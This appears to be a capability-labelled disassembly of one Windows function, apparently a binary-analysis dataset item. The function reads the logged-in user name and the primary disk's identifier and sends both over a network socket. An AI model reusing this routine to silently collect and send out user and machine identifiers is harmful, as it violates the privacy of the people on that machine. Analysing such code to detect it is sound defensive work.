Function at 0x140002000
Capabilities:
Get session user name
Get storage device properties
Send data
Send data on socket
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 0x10], rax
xor r13d, r13d
lea r8, [rbp - 0x20]
xor edx, edx
mov dword [rbp - 0x20], r13d
mov ecx, 2
call qword [sym.imp.Secur32.dll_GetUserNameExW]
movzx ebx, al
mov r14, 0xffffffffffffffff
test al, al
jne 0x1400020dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp eax, 0xea
jne 0x1400020ce
mov edx, dword [rbp - 0x20]
mov eax, 2
inc edx
mul rdx
cmovb rax, r14
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov rdi, rax
test rax, rax
je 0x1400020be
lea r8, [rbp - 0x20]
mov rdx, rax
mov ecx, 2
call qword [sym.imp.Secur32.dll_GetUserNameExW]
cmp al, 1
jne 0x1400020b4
mov ecx, dword [rbp - 0x20]
mov ebx, r13d
add ecx, ecx
mov qword [rbp - 0x18], rdi
mov dword [rbp - 0x20], ecx
jmp 0x1400020ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x1400020ce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
xor ecx, ecx
mov ebx, dword [rax]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r12, qword [rbp - 0x18]
mov r15d, dword [rbp - 0x20]
test ebx, ebx
je 0x140002139
jmp 0x1400020e3
mov r15d, dword [rbp - 0x20]
mov r12, r13
mov qword [rbp - 0x18], r13
test ebx, ebx
jns 0x1400020f1
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], r13
xor edx, edx
mov r8d, eax
mov dword [rsp + 0x28], r13d
lea rax, [rbp - 0x18]
mov ecx, 0x1300
mov r9d, 0x400
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov rdx, qword [rbp - 0x18]
lea r8, [0x140004520]
mov r9d, 0x10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov qword [rsp + 0x30], r13
lea rcx, str..PhysicalDrive0
mov dword [rsp + 0x28], r13d
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], 3
mov r8d, 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, r14
jne 0x140002178
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14000225e
mov qword [rsp + 0x38], r13
lea rax, [rbp - 0x20]
mov qword [rsp + 0x30], rax
lea r8, [rbp - 0x38]
lea rax, [rbp - 0x18]
mov dword [rsp + 0x28], 8
mov r9d, 0xc
mov qword [rsp + 0x20], rax
mov edx, 0x2d1400
mov dword [rbp - 0x20], r13d
mov rcx, rdi
mov qword [rbp - 0x34], r13
mov qword [rbp - 0x18], r13
mov dword [rbp - 0x38], r13d
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x1400021d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14000225e
mov esi, dword [rbp - 0x14]
mov edx, 1
mov ecx, esi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rbx, rax
test rax, rax
je 0x140002256
mov qword [rsp + 0x38], r13
lea rax, [rbp - 0x20]
mov qword [rsp + 0x30], rax
lea r8, [rbp - 0x38]
mov dword [rsp + 0x28], esi
mov r9d, 0xc
mov edx, 0x2d1400
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov edi, eax
test eax, eax
jne 0x140002227
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14000225e
mov esi, dword [rbx + 0x18]
lea rdx, [0x140004478]
add rsi, rbx
mov rcx, rsi
call qword [sym.imp.SHLWAPI.dll_StrTrimA]
mov qword [rbp - 0x40], rsi
mov rbx, r14
inc rbx
cmp byte [rsi + rbx], r13b
jne 0x140002244
cmp edi, 1
cmove edi, r13d
jmp 0x140002261
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov edi, dword [rax]
mov ebx, dword [rbp - 0x20]
test edi, edi
je 0x1400022b9
mov qword [rbp - 0x28], r13
jns 0x140002271
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], r13
xor edx, edx
mov r8d, eax
mov dword [rsp + 0x28], r13d
lea rax, [rbp - 0x28]
mov ecx, 0x1300
mov r9d, 0x400
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov rdx, qword [rbp - 0x28]
lea r8, [0x140004520]
mov r9d, 0x10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rax, 0xffffffffffffffff
mov esi, r15d
mov r14d, ebx
lea rcx, [rsi + 8]
add rcx, r14
cmovb rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x140002309
mov r9d, 0x10
lea r8, [0x140004588]
lea rdx, [0x140004570]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rax + 4]
mov dword [rax], r15d
mov r8, rsi
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rbp - 0x40]
lea rcx, [rdi + 8]
add rcx, rsi
mov dword [rsi + rdi + 4], ebx
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [0x1400066c0]
lea eax, [r15 + 8]
add eax, ebx
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r13
lea r9, [rbp - 0x20]
mov r8d, 1
mov dword [rbp - 0x38], eax
lea rdx, [rbp - 0x38]
mov qword [rbp - 0x30], rdi
mov dword [rsp + 0x20], r13d
call qword [sym.imp.WS2_32.dll_WSASend]
cmp eax, 0xffffffff
je 0x140002374
cmp dword [rbp - 0x20], r13d
jne 0x140002380
mov rcx, 0xffffffffffffffff
call fcn.1400010d0
xor eax, eax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1400026d0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret